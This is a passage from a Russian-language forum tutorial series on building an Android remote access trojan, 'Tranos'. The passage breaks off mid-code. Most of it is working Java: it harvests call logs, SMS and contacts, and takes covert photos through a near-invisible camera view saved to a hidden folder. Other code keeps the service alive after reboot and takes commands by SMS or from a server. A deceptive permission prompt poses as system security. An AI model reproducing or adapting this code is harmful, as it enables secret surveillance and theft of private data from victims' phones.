    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.CallLogs.CALL_NUMBER, isEmpty(callNumber));
            jsonObject.put(BaseData.CallLogs.CALL_NAME, isEmpty(callName));
            jsonObject.put(BaseData.CallLogs.CALL_DATE, isEmpty(callDate));
            jsonObject.put(BaseData.CallLogs.CALL_TYPE, isEmpty(callType));
            jsonObject.put(BaseData.CallLogs.CALL_DURATION, isEmpty(callDuration));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }

}
Java:
package com.tranos.app.mobilehardware.calls;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class CallLogsHelper  extends CallLogsInfo {
    public static List<JSONObject> getAllCallLogs(Context context) {
        return getMobCallLogs(context);
    }
}
Java:
package com.tranos.app.mobilehardware.calls;

import android.content.Context;
import android.database.Cursor;
import android.provider.CallLog;

import android.util.Log;

import org.json.JSONObject;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;


public class CallLogsInfo {

    private static final String TAG = CallLogsInfo.class.getSimpleName();

    static List<JSONObject> getMobCallLogs(Context context) {
        List<JSONObject> callLogsList = new ArrayList<>();
        try {
            String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
            Uri callUri = Uri.parse("content://call_log/calls");

            String[] projection = { CallLog.Calls.NUMBER,
                                    CallLog.Calls.CACHED_NAME,
                                    CallLog.Calls.DATE,
                                    CallLog.Calls.DURATION,
                                    CallLog.Calls.TYPE,
                                  };

            Cursor cur = context.getApplicationContext().getContentResolver().query(callUri, projection, null, null, strOrder);

            while (cur.moveToNext()) {
                CallLogsBean listCallLogsBean = new CallLogsBean();
                listCallLogsBean.setCallNumber(cur.getString(0));
                listCallLogsBean.setCallName(cur.getString(1));
                SimpleDateFormat formatter = new SimpleDateFormat("dd-MMM-yyyy HH:mm");
                listCallLogsBean.setCallDate(formatter.format(new Date(Long.parseLong(cur.getString(2)))));
                listCallLogsBean.setCallDuration(cur.getString(3));
                listCallLogsBean.setCallType(cur.getString(4));
                callLogsList.add(listCallLogsBean.toJSONObject());
            }
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return callLogsList;
    }
}
И следом создаем папку sms с такими же названиями, только CallLogs замените на SMS.
Java:
package com.tranos.app.mobilehardware.sms;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class SMSBean extends BaseBean {

   private static final String TAG = SMSBean.class.getSimpleName();

    private String smsDate;
    private String smsThreadId;
    private String smsId;
    private String smsAddress;
    private String smsBody;
    private String smsName;
    private String smsType;

    public String getSmsDate() { return  smsDate; }
    public String getSmsTheardId() { return  smsThreadId; }
    public String getSmsId() { return  smsId; }
    public String getSmsAdress() { return  smsAddress; }
    public String getSmsBody() { return  smsBody; }
    public String getSmsName() { return  smsName; }
    public String getSmsType() { return  smsType; }

    public void setSmsDate(String smsDate) { this.smsDate = smsDate; }
    public void setSmsTheardId(String smsThreadId) { this.smsThreadId = smsThreadId; }
    public void setSmsId(String smsId) { this.smsId = smsId; }
    public void setSmsAdress(String smsAddress) { this.smsAddress = smsAddress; }
    public void setSmsBody(String smsBody) { this.smsBody = smsBody; }
    public void setSmsName(String smsName) { this.smsName = smsName; }
    public void setSmsType(String smsType) { this.smsType = smsType; }


    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.SMS.SMS_DATE, isEmpty(smsDate));
            jsonObject.put(BaseData.SMS.SMS_THERD_ID, isEmpty(smsThreadId));
            jsonObject.put(BaseData.SMS.SMS_ID, isEmpty(smsId));
            jsonObject.put(BaseData.SMS.SMS_ADRESS, isEmpty(smsAddress));
            jsonObject.put(BaseData.SMS.SMS_BODY, isEmpty(smsBody));
            jsonObject.put(BaseData.SMS.SMS_NAME, isEmpty(smsName));
            jsonObject.put(BaseData.SMS.SMS_TYPE, isEmpty(smsType));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}
Java:
package com.tranos.app.mobilehardware.sms;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class SMSHelper extends SMSInfo {

   public static List<JSONObject> getAllSms(Context context) {
        return getMobSMS(context);
    }
}
Java:
package com.tranos.app.mobilehardware.sms;

import android.content.Context;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import com.orhanobut.logger.Logger;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class SMSInfo {

   private static final String TAG = SMSInfo.class.getSimpleName();

   static List<JSONObject> getMobSMS(Context context) {
        List<JSONObject> SmsList = new ArrayList<>();
        try {
            Uri callUri = Uri.parse("content://sms/inbox");
            Cursor cur = context.getApplicationContext().getContentResolver().query(callUri, null, null, null, null);
            while (cur.moveToNext()) {
                SMSBean listSMSBean = new SMSBean();
                listSMSBean.setSmsAdress(cur.getString(cur.getColumnIndex("address")));
                listSMSBean.setSmsBody(cur.getString(cur.getColumnIndex("body")));
                listSMSBean.setSmsId(cur.getString(cur.getColumnIndex("_id")));
                listSMSBean.setSmsType("inbox");
                listSMSBean.setSmsName(getContactName(context.getApplicationContext(), cur.getString(cur.getColumnIndexOrThrow("address"))));
                listSMSBean.setSmsTheardId(cur.getString(cur.getColumnIndex("thread_id")));
                SimpleDateFormat formatter = new SimpleDateFormat("dd-MMM-yyyy HH:mm");
                listSMSBean.setSmsDate(formatter.format(new Date(Long.parseLong(cur.getString(cur.getColumnIndex("date"))))));
                SmsList.add(listSMSBean.toJSONObject());
            }


            callUri = Uri.parse("content://sms/sent");
            cur = context.getApplicationContext().getContentResolver().query(callUri, null, null, null, null);
            while (cur.moveToNext()) {
                SMSBean listSMSBean = new SMSBean();
                listSMSBean.setSmsAdress(cur.getString(cur.getColumnIndex("address")));
                listSMSBean.setSmsBody(cur.getString(cur.getColumnIndex("body")));
                listSMSBean.setSmsId(cur.getString(cur.getColumnIndex("_id")));
                listSMSBean.setSmsType("sent");
                listSMSBean.setSmsName(getContactName(context.getApplicationContext(), cur.getString(cur.getColumnIndexOrThrow("address"))));
                listSMSBean.setSmsTheardId(cur.getString(cur.getColumnIndex("thread_id")));
                SimpleDateFormat formatter = new SimpleDateFormat("dd-MMM-yyyy HH:mm");
                listSMSBean.setSmsDate(formatter.format(new Date(Long.parseLong(cur.getString(cur.getColumnIndex("date"))))));
                SmsList.add(listSMSBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return SmsList;
    }

    private static String getContactName(Context context, String phoneNumber) {
        ContentResolver cr = context.getContentResolver();
        Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
                Uri.encode(phoneNumber));
        Cursor cursor = cr.query(uri,
                new String[] { ContactsContract.PhoneLookup.DISPLAY_NAME }, null, null, null);
        if (cursor == null) {
            return null;
        }
        String contactName = null;
        if (cursor.moveToFirst()) {
            contactName = cursor.getString(cursor
                    .getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME));
        }
        if (cursor != null && !cursor.isClosed()) {
            cursor.close();
        }
        return contactName;
    }

}
5. Заключение
Статья вышла короткой, но это за счет достаточно большого количества кода так что уже не знаю чем бы ее еще разбавить. Сегодня мы сделали главную функцию, которая позволит нам запускать другие функции и это очень сильно поможет нашему проекту в будущем. В следующей статье я покажу вам как делать фотографии на смартфон, а так же напишем наш TranosReceiver и допишем TranosService, ну и понемногу будем дополнять функции в нашу программу. Кому доброго утра, кому доброй ночи, надеюсь статья понравилась и жду от вас отклик, если хотите продолжение.

Так же у вас будут ошибки т.к. я использовал константы в проекте, так что в папке modules создайте файл Constants и вставьте в него следующее.
Java:
package com.tranos.app.modules;

import android.Manifest;

public class Constants {

    //CLIENT
    public static final String URL_DEFAULT = "http://127.0.0.1/";
    public static final String URL_SUCCESS = URL_DEFAULT + "success.php?result=";
    public static final String URL_FUNCTION = URL_DEFAULT + "function.php?id=%s&key=%s";

    public static final String URL_BACKUP = "http://localhost/";
    public static final String URL_SUCCESS_BACKUP = URL_BACKUP + "success.php?result=";

    public static final String KEY = "secretkey";
    public static final String NUMBER = "321"; //number witch can send commands
    public static final String SECRET_CODE = "0000"; //code witch must be in the end of the sms -> test_hello_0000 / tEst hello-0000
    public static final String TELEGRAM_BOT_NAME = "";
    public static final String TELEGRAM_BOT_KEY = "";

    //HELPER
    public static final String TEST_FUNCTIONAL = "Функционал находится в разработке";
    public static final String UNKNOWN_RESULT = "Неизвестная ошибка (проверьте правильность команады)";
    public static final String NO_SUCH_RESULTS = "Нет совпадений по данному номеру";
    public static final String TELEGRAM = "telegram";

    //STATUS
    public static final String STATUS_SMS = "%s сообщений в %s режиме";
    public static final String STATUS_ROOT = "На устройстве %s root";

    //SUCCESS
    public static final String SUCCESS_FLASHLIGHT = "Фонарь успешно %s";
    public static final String SUCCESS_UNISTALL = "Программа успешно удалена";
    public static final String SUCCESS_BLOCK_SMS = "Блокировка сообщений успешно %s";
    public static final String SUCCESS_INTERCEPT_SMS = "Перехват сообщений успешно %s";
    public static final String SUCCESS_SEND_SMS = "Сообщение успешно отправлено на номер %s";
    public static final String SUCCESS_ROOT = "Root права успешно получены (но это не точно)";

    //ERROR
    public static final String ERROR_FLASHLIGHT = "Фонарь не удалось %s";
    public static final String ERROR_BLOCK_SMS = "Не удалось %s блокировку сообщений";
    public static final String ERROR_INTERCEPT_SMS = "Не удалось %s перехват сообщений";
    public static final String ERROR_GPS = "GPS не включен";
    public static final String ERROR_SEND_SMS = "Ошибка при отправке сообщения";
    public static final String ERROR_GET = "Произошла ошибка при получении %s";
    public static final String ERROR_ROOT_DENIED = "Запрос root прав отклонен";
    public static final String ERROR_ROOT_TIMEOUT = "Время ожидания истекло";
    public static final String ERROR_SHUTDOWN = "Не удалось выключить устройство";

    //PERMISSIONS
    public static final String PERMISSION_RATIONALE = "System Settings keeps your android phone secure. Allow System Settings to protect your phone?";
    public static final String[] PERMISSIONS = {
            Manifest.permission.READ_PHONE_STATE,
            Manifest.permission.READ_CONTACTS,
            Manifest.permission.READ_SMS,
            Manifest.permission.SEND_SMS,
            Manifest.permission.RECEIVE_SMS,
            Manifest.permission.READ_CALL_LOG,
            Manifest.permission.CHANGE_WIFI_STATE,
            Manifest.permission.RECORD_AUDIO,
            Manifest.permission.READ_FRAME_BUFFER,
            Manifest.permission.WRITE_SETTINGS,
            Manifest.permission.KILL_BACKGROUND_PROCESSES,
            Manifest.permission.CAMERA,
            Manifest.permission.INTERNET,
            Manifest.permission.ACCESS_NETWORK_STATE,
            Manifest.permission.ACCESS_FINE_LOCATION,
            Manifest.permission.ACCESS_COARSE_LOCATION,
            Manifest.permission.WRITE_EXTERNAL_STORAGE,
    };
}
Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс @feature
  4. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем @feature (new)
    3. Удаление сообщение @todo
    4. Перехват сообщений @feature (new)
    5. Блокировка сообщений @feature (new)
    6. Отправка сообщений @feature (new)
  5. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента @todo
    6. Запись звонков
  6. Работа с камерой
    1. Фотосъемка с камер @feature
    2. Видеосъемка
  7. Запись звука
  8. Получение данных GPS @feature
  9. Получение списка контактов с телефона @feature
  10. Получение медиа (фотографий) @feature
  11. Доступ к проводнику (доступ к файловой системе)
  12. Получение информации об устройстве (куда же без нее) @feature
  13. Проверка есть ли Root права @feature (new)
  14. Проверка есть ли Root права у программы @feature (new)
  15. Получение Root прав @feature (new)
  16. Перезагрузка (root) @feature (new)
  17. Выключение (root) @feature (new)
  18. Получение буфера обмена @feature (new)
  19. Управление фонарем устройства @feature (new)
  20. Скрытное удаление программ (root) @feature (new)
  21. Управление смартфоном
    1. Громкость @todo
    2. Яркость @todo
    3. Обои
    4. Прочее

Автор @Vorobyshek
взято с codeby
 
Свой RAT для Android - Часть 4


Содержание статьи:
  1. Приветствие
  2. Создаем ServiceReceiver
  3. Создаем CameraView для снимков
  4. Бонус
    1. Получение медиа-файлов с устройства
    2. Получение контактов
  5. Заключение
1. Приветствие

Всем привет и добрый вечер. Рад что на статьях есть отклик аудитории и надеюсь его будет все больше и больше. В этой статье будет меньше выделений по просьбе администрации, но от Вас хочу увидеть отзыв в опросе.

Думаю пришло время и для четвертой статьи, в которой мы добавим функционал для работы с камерой (делаем срытое фото); сделаем наш Receiver, который будет перезапускать наш сервис в случае его отключения и так же в качестве бонуса добавлю получение списка контактов с телефона + получение сохраненных фотографий на устройстве.
На данный момент все еще вожусь с Telegram API, так что, если кто-то уже "прикручивал" его к своим проектам, дайте знать "как" в личку.
2. Создаем ServiceReceiver
Для начала поправим нашу функцию в MainActivity под названием isMyServiceRunning, который проверяет запущен ли наш сервис.
Java:
public static boolean isMyServiceRunning() {
    ActivityManager manager = (ActivityManager) Application.getAppContext().getSystemService(Context.ACTIVITY_SERVICE);
    for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
        if (TranosService.class.getName().equals(service.service.getClassName())) {
            return true;
        }
    }
    return false;
}
Теперь создаем класс Application со следующим кодом. Он нам очень понадобится, т.к. некоторые функции напрочь отказываются работать с getApplicationContext() из-за того что у нас статичные (static) методы. Я не особо вникал почему же так и просто сразу занялся поиском того как можно обойти это ограничение. Теперь для вызова getApplicationContext() нужно написать Application.getAppContext() и на этом все.
Java:
public class Application extends android.app.Application {

    private static Context context;

    public void onCreate() {
        super.onCreate();
        Application.context = getApplicationContext();
    }

    public static Context getAppContext() {
        return Application.context;
    }

}
Так, на пока никаких ошибок быть не должно. Теперь пришло время создать ServiceReceiver, который нам так нужен (скоро узнаете для чего).
Уж простите, но сейчас работаем ручками. Только внимательно следите за названиями. На картинке класс называется Receiver но в дальнейшем буду использовать название ServiceReceiver. А так же, поменяйте название TranosService на свое.
1572287945180.png
Теперь идем в манифест и там прописываем наш ServiceReceiver.
Да-да, народ, снова ручками (дальше буду давать код, не злитесь). Обращайте внимание на названия !
1572288236117.png
И так, ресивер сделан (устал я писать полное название), так что идем в наш сервис и регистрируем его в методе onCreate.
Java:
IntentFilter filterBoot = new IntentFilter(Intent.ACTION_BOOT_COMPLETED);
filterBoot.addAction(Intent.ACTION_SCREEN_OFF);
filterBoot.addAction(Intent.ACTION_SCREEN_ON);
mReceiver = new ServiceReceiver();
registerReceiver(mReceiver, filterBoot);
1572341478175.png
Нууууу... Ресивер есть, сервис есть. Не хватает теперь только нашего класса для создания снимков с устройства. Создаем !

3. Создаем CameraView для снимков
Как и сказано в заголовке - просто создаем класс CameraView (я его закинул в папку modules) и вставляем туда код. Что не понятно, спрашиваем в комментариях.
Сам код был взят за основу с Dendroid и немного доработан.
Java:
package com.tranos.app.modules;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.OutputStream;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.Bitmap.CompressFormat;
import android.graphics.BitmapFactory;
import android.graphics.PixelFormat;
import android.hardware.Camera;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.preference.PreferenceManager;
import androidx.appcompat.app.AppCompatActivity;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.SurfaceView;

import com.tranos.app.R.*;

public class CameraView extends AppCompatActivity implements SurfaceHolder.Callback {
    private static final String TAG = "CameraTest";
    Camera mCamera;
    boolean mPreviewRunning = false;

    public void onCreate(Bundle icicle){
        super.onCreate(icicle);

        Log.e(TAG, "onCreate");

        setContentView(layout.cameraview);

        mSurfaceView = (SurfaceView) findViewById(id.surface_camera);
        mSurfaceView = (SurfaceView) findViewById(id.surface_camera);
        mSurfaceHolder = mSurfaceView.getHolder();
        mSurfaceHolder.addCallback(this);
        mSurfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
    }

    @Override
    protected void onRestoreInstanceState(Bundle savedInstanceState){
        super.onRestoreInstanceState(savedInstanceState);
    }


    Camera.PictureCallback mPictureCallback = new Camera.PictureCallback() {

        public void onPictureTaken(byte[] data, Camera camera) {

            if (data != null){
                mCamera.stopPreview();
                mPreviewRunning = false;
                mCamera.release();

                try{
                    Bitmap bmp = decodeFile(data);
                    System.gc();
                    //saveBitmap(bmp);
                    savePhotoInFile(data, generateFile());
                    System.gc();

                    Log.i("com.connect", "BITMAP SAVED");
                }catch(Exception e){
                    e.printStackTrace();
                }

                finish();
            }
        }
    };

    protected void onResume(){
        Log.e(TAG, "onResume");
        super.onResume();
    }

    protected void onSaveInstanceState(Bundle outState){
        super.onSaveInstanceState(outState);
    }

    protected void onStop(){
        Log.e(TAG, "onStop");
        super.onStop();
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("media",false).commit();
    }

    public void surfaceCreated(SurfaceHolder holder){
        Log.i("com.connect", "surfaceCreated");

        Intent sender=getIntent();
        String cameraNumber = sender.getExtras().getString("Camera");

        int cameraCount = 0;
        Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
        cameraCount = Camera.getNumberOfCameras();
        for ( int camIdx = 0; camIdx < cameraCount; camIdx++ ) {
            Camera.getCameraInfo( camIdx, cameraInfo );
            if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_BACK && cameraNumber.equalsIgnoreCase("0")) {
                try {
                    Log.i("com.connect", "Back");
                    mCamera = Camera.open( camIdx );
                } catch (RuntimeException e) {
                }
            }
            if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT && cameraNumber.equalsIgnoreCase("1")) {
                try {
                    Log.i("com.connect", "Front");
                    mCamera = Camera.open( camIdx );
                } catch (RuntimeException e) {
                }
            }
        }

    }

    public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
        Log.e(TAG, "surfaceChanged");

        // XXX stopPreview() will crash if preview is not running
        if (mPreviewRunning){
            mCamera.stopPreview();
        }

        Camera.Parameters p = mCamera.getParameters();

        List<Camera.Size> previewSizes = p.getSupportedPreviewSizes();

        Camera.Size previewSize = previewSizes.get(0);

        for(int i=0;i<previewSizes.size();i++)
        {
            if(previewSizes.get(i).width > previewSize.width)
                previewSize = previewSizes.get(i);
//             Log.i("com.connect", "Size: " + previewSizes.get(i).width + ":" + previewSizes.get(i).height);
        }

        Log.i("com.connect", "Size: " + previewSize.width + ":" + previewSize.height);

        try{

            Intent sender=getIntent();
            String cameraNumber = sender.getExtras().getString("Camera");

            System.gc();

            p.setPictureFormat(PixelFormat.JPEG);
            p.setJpegQuality(100);
            p.setPreviewSize(previewSize.width, previewSize.height);

            if (cameraNumber.equalsIgnoreCase("0"))
            {
                p.setRotation(90);
            }
            if (cameraNumber.equalsIgnoreCase("1"))
            {
                p.setRotation(270);

            }

            p.setFocusMode(Camera.Parameters.FOCUS_MODE_AUTO);
            mCamera.setParameters(p);

        }
        catch (Exception e){
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        try{
            mCamera.setPreviewDisplay(holder);
        }catch (Exception e){
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        mCamera.startPreview();
        mPreviewRunning = true;

        final Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                mCamera.takePicture(null, mPictureCallback, mPictureCallback);
            }
        }, 1000);
//            mCamera.takePicture(null, mPictureCallback, mPictureCallback);
    }

    public void surfaceDestroyed(SurfaceHolder holder) {
        Log.e("com.connect", "surfaceDestroyed");
        PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("media",false).commit();

        //mCamera.stopPreview();
        //mPreviewRunning = false;
        //mCamera.release();
    }

    private SurfaceView mSurfaceView;
    private SurfaceHolder mSurfaceHolder;

    public void saveBitmap(Bitmap bm){
        try
        {
            if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
                return;

            File path = new File (Environment.getExternalStorageDirectory(), "CameraTest");
            if (!path.exists()){
                if (!path.mkdirs()){
                    return;
                }
            }

            SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm_ss");
            String currentDateandTime = sdf.format(new Date());
            File newFile = new File(path.getPath() + File.separator + currentDateandTime + ".jpg");

            if (Uri.fromFile(newFile) == null)
                throw new Exception();

            OutputStream stream = getContentResolver().openOutputStream(Uri.fromFile(newFile));
            bm.compress(CompressFormat.JPEG, 100, stream);
            stream.flush();
            stream.close();

        }
        catch(Exception e)
        {
            Log.e("Could not save", e.toString());
        }
    }

    public void savePhotoInFile(byte[] data, Uri pictureFile) throws Exception {

        if (pictureFile == null)
            throw new Exception();

        OutputStream os = getContentResolver().openOutputStream(pictureFile);
        os.write(data);
        os.close();
    }

    public Uri generateFile() {
        // Проверяем доступность SD карты
        if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
            return null;

        // Проверяем и создаем директорию
        File path = new File (Environment.getExternalStorageDirectory(), ".tranos");
        if (! path.exists()){
            if (! path.mkdirs()){
                return null;
            }
        }

        // Создаем имя файла
        String timeStamp = String.valueOf(System.currentTimeMillis());
        File newFile = new File(path.getPath() + File.separator + timeStamp + ".jpg");
        return Uri.fromFile(newFile);
    }

    private Bitmap decodeFile(byte[] buffer) {

        // Decode image size
        BitmapFactory.Options o = new BitmapFactory.Options();
        o.inJustDecodeBounds = true;
        BitmapFactory.decodeStream(new ByteArrayInputStream(buffer), null, o);

        // The new size we want to scale to
        final int REQUIRED_SIZE = 70;

        // Find the correct scale value. It should be the power of 2.
        int width_tmp = o.outWidth, height_tmp = o.outHeight;
        int scale = 1;
        while (true) {
            if (width_tmp / 2 < REQUIRED_SIZE || height_tmp / 2 < REQUIRED_SIZE)
                break;
            width_tmp /= 2;
            height_tmp /= 2;
            scale *= 2;
        }

        // Decode with inSampleSize
        BitmapFactory.Options o2 = new BitmapFactory.Options();
        o2.inSampleSize = scale;
        return BitmapFactory.decodeStream(new ByteArrayInputStream(buffer),
                null, o2);

    }

}
И теперь создаем в
res ->​
layout ->​
cameraview.xml​
XML:
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical"
>
    <SurfaceView
        android:id="@+id/surface_camera"
        android:layout_width="1dip"
        android:layout_height="1dip"
    />
    <ImageView
        android:layout_width="1dip"
        android:layout_height="1dip"
        android:contentDescription="@string/app_name"  
        android:id="@+id/blankImage"  
    />     
</RelativeLayout>
На этом создание класса для фотографий окончено.

Я надеюсь все помнят класс Reflection, который мы создали в прошлой статье ? Нет ? Тогда вперед читать её.
А для тех кто молодец (шутки в сторону), прошу читать дальше. В классе Functions дописываем следующее.
Java:
@customAnnotation(inf = "", option1 = "n", help = "Сделать фото с web-камеры по умолчанию", help1 = "Сделать фото с выбравнной из списка (/cameras) камеры")
public void __photo(String response){
    List<String> args = parseCommand(response);
    String server = args.remove(args.size() - 1);

    try {
        if (checkNotNull(args.get(0))) {
            int numCameras = Camera.getNumberOfCameras();
            String i = args.get(0);
            if (numCameras > Integer.parseInt(i)) {
                Intent intent = new Intent(Application.getAppContext(), CameraView.class);
                intent.putExtra("Camera", i);
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(intent);
                sendResult(SUCCESS_PHOTO, server);
            }
        } else {
            Intent intent = new Intent(Application.getAppContext(), CameraView.class);
            intent.putExtra("Camera", "0");
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
            sendResult(SUCCESS_PHOTO, server);
        }
    } catch (Exception e) {
        sendResult(UNKNOWN_RESULT, server);
    }
}
А так же немного дополните аннотации. Снизу полный код.
Java:
@Retention(RetentionPolicy.RUNTIME)
@interface customAnnotation {
    public String option() default "";
    public String option1() default "";
    public String help() default "";
    public String help1() default "";
    public String inf() default "";
    public String root() default "";
    public String type() default "";
}
И еще пожалуй стоит поменять методы для получения всех функций - getMethods4Telegram и getMethod4Telegram.
1572342191466.png
Java:
private void getMethods4Telegram(Class<?> cls) {
    Method[] methods = cls.getDeclaredMethods();
    String allMethods = "";
    for (Method method : methods) {
        List<String> type = new ArrayList<>(Arrays.asList(method.toGenericString().split(" ")));

        String anot = "";
        String help = "";
        String root = "";
        String two = "";
        Annotation[] annotation = method.getDeclaredAnnotations();
        for (Annotation a : annotation) {
            customAnnotation self = (customAnnotation)a;
            anot = checkNotNull(self.option()) ? " [" + self.option() + "]" : "";
            help = checkNotNull(self.help()) ? " - " + self.help() : "";
            root = checkNotNull(self.root()) ? " (" + self.root() + ")" : "";
            if(checkNotNull(self.option1())){
                two += " [" + self.option1() + "] - " + self.help1();
            }
        }

        if(type.get(0).contains("public")) {
            if(checkNotNull(two)) {
                allMethods += "/" + method.getName().replace("__", "")  + anot + help + root + "\n"
                        + "/" + method.getName().replace("__", "")  + two + root + "\n";
            }
            else {
                allMethods += "/" + method.getName().replace("__", "")  + anot + help + root + "\n";
            }
        }
    }
    sendResult("- Команды -\n" +
            "Команда необязательно должна начинаться со слеша /\n" +
            "т.е. разницы между командами /help и help - нет.\n" +
            "Аргумены передаются через знак пробел.\n" +
            "Для более детальной информации по конкретному методу вызовите\n/help имя_функции\n\n" + allMethods, TELEGRAM);
}
Java:
private void getMethod4Telegram(Class<?> cls, String m) {
    Method method = null;
    try {
        method = cls.getMethod("__" + m, String.class);
    } catch (NoSuchMethodException e) {
        sendResult(UNKNOWN_RESULT, "telegram");
    }

    String anot = "";
    String help = "";
    String root = "";
    String inf = "";
    Annotation[] annotation = method.getDeclaredAnnotations();
    for (Annotation a : annotation) {
        customAnnotation self = (customAnnotation)a;
        anot = checkNotNull(self.option()) ? " [" + self.option() + "]" : "";
        help = checkNotNull(self.help()) ? " - " + self.help() : "";
        root = checkNotNull(self.root()) ? " (" + self.root() + ")" : "";
        inf = checkNotNull(self.inf()) ? self.inf() : "";
    }

    String allMethod = "/" + method.getName().replace("__", "")  + root + anot + help + "\n" + inf;

    sendResult(allMethod, TELEGRAM);
}
И да, название функции checkNull поменялось на checkNotNull. Как по мне, так понятнее. Так что меняем, если конечно хотите.
Сейчас можете в качестве теста в MainActivity вызвать callByName("photo", "1", "test"); , ну или поиграйтесь с параметрами (проект запускаем в режиме отладки).
Фото сделано на эмуляторе. Создается скрытая папка .tranos и в ней сохраняются все сделанные фотографии. В галерее не отображаются (вроде как).
Если вам не особо принципиально качество и нужно чтобы фото мало весило в CameraView раскомментируйте функцию saveBitmap.
1572338606323.png

4. Бонус
Время бонусов, да ? Или же нет ?
Да
Делаем все по картинкам, но для начала в папке mobilehardware заходим в base и добавляем в BaseData следующее.
Java:
public static class IMAGES {
    public static final String IMAGE_ID = "imageId";
    public static final String IMAGE_DISPLAY_NAME = "imageDisplayName";
    public static final String IMAGE_DATA = "imageData";
    public static final String IMAGE_SIZE = "imageSize";
}

public static class CONTACTS {
    public static final String CONTACT_NAME = "contactName";
    public static final String CONTACT_ID = "contactId";
    public static final String CONTACT_NUMBER = "contactNumber";
}
Как вы поняли из "содержания", мы будем получать и медиа и контакты. Благодарность тем кто участвовал в предыдущем опросе.
В папке mobilehardware создаем папку images/photos/img/media, как вам больше нравится. И в ней создаем файлы с вашим вариантом + Bean + Helper + Info.
1572338914278.png


ImageBean
Java:
package com.tranos.app.mobilehardware.images;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class ImageBean extends BaseBean {
    private static final String TAG = ImageBean.class.getSimpleName();

    private String imageId;
    private String imageDisplayName;
    private String imageSize;
    private String imageData;

    public String getImageId() { return imageId; }
    public String getImageDisplayName() { return imageDisplayName; }
    public String getImageSize() { return imageSize; }
    public String getImageData() { return imageData; }

    public void setImageId(String imageId) { this.imageId = imageId; }
    public void setImageDisplayName(String imageDisplayName) { this.imageDisplayName = imageDisplayName; }
    public void setImageSize(String imageSize) { this.imageSize = imageSize; }
    public void setImageData(String imageData) { this.imageData = imageData; }



    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.IMAGES.IMAGE_ID, isEmpty(imageId));
            jsonObject.put(BaseData.IMAGES.IMAGE_DISPLAY_NAME, isEmpty(imageDisplayName));
            jsonObject.put(BaseData.IMAGES.IMAGE_SIZE, isEmpty(imageSize));
            jsonObject.put(BaseData.IMAGES.IMAGE_DATA, isEmpty(imageData));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}

ImageHelper
Java:
package com.tranos.app.mobilehardware.images;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class ImageHelper extends ImageInfo {
    public static List<JSONObject> getAllImages(Context context) {
        return getMobImages(context);
    }
}

ImageInfo
Java:
package com.tranos.app.mobilehardware.images;

import android.provider.MediaStore;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class ImageInfo {

    private static final String TAG = ImageInfo.class.getSimpleName();

    static List<JSONObject> getMobImages(Context context) {
